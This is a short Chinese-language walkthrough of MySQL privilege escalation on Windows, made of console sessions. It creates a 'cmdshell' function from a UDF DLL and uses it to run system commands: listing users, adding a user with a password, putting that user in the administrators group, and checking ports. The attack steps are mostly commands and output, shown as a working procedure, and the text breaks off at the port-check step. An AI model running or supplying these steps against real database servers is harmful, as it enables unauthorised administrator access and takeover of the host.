MYSQL-提权

1、创建cmdshell： mysql> create function cmdshell returns string soname 'moonudf.dll'; ERROR 2006 (HY000): MySQL server has gone away No connection. Trying to reconnect... Connection id: 1 Current database: mysql
Query OK, 0 rows affected (0.25 sec)
2、查看用户信息： mysql> select cmdshell('net user'); +----------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------------------------------ -----------------------------------------------------------------------------+ | cmdshell('net user')
| +----------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------------------------------ -----------------------------------------------------------------------------+ | \\ 的用户帐户
------------------------------------------------------------------------------- Administrator ASPNET Guest HelpAssistant IUSR_PC-201202111331 IWAM_PC-201202111331 SUPPORT_388945a0 命令运行完毕，但发生一个或多个错误。

--------------------------------------------完成! | +----------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------------------------------ -----------------------------------------------------------------------------+ 1 row in set (0.22 sec)
3、添加用户信息： mysql> select cmdshell('net user test w321321 /add'); +-------------------------------------------------------------------------+ | cmdshell('net user test w321321 /add') | +-------------------------------------------------------------------------+ | 命令成功完成。

--------------------------------------------完成! | +-------------------------------------------------------------------------+ 1 row in set (0.36 sec)

4、添加用户到管理组：
mysql> select cmdshell('net localgroup administrators test /add '); +-------------------------------------------------------------------------+ | cmdshell('net localgroup administrators test /add ') | +-------------------------------------------------------------------------+ | 命令成功完成。

--------------------------------------------完成! | +-------------------------------------------------------------------------+ 1 row in set (0.22 sec) 测试结果：



5、查看端口： mysql> select cmdshell('netstat -an');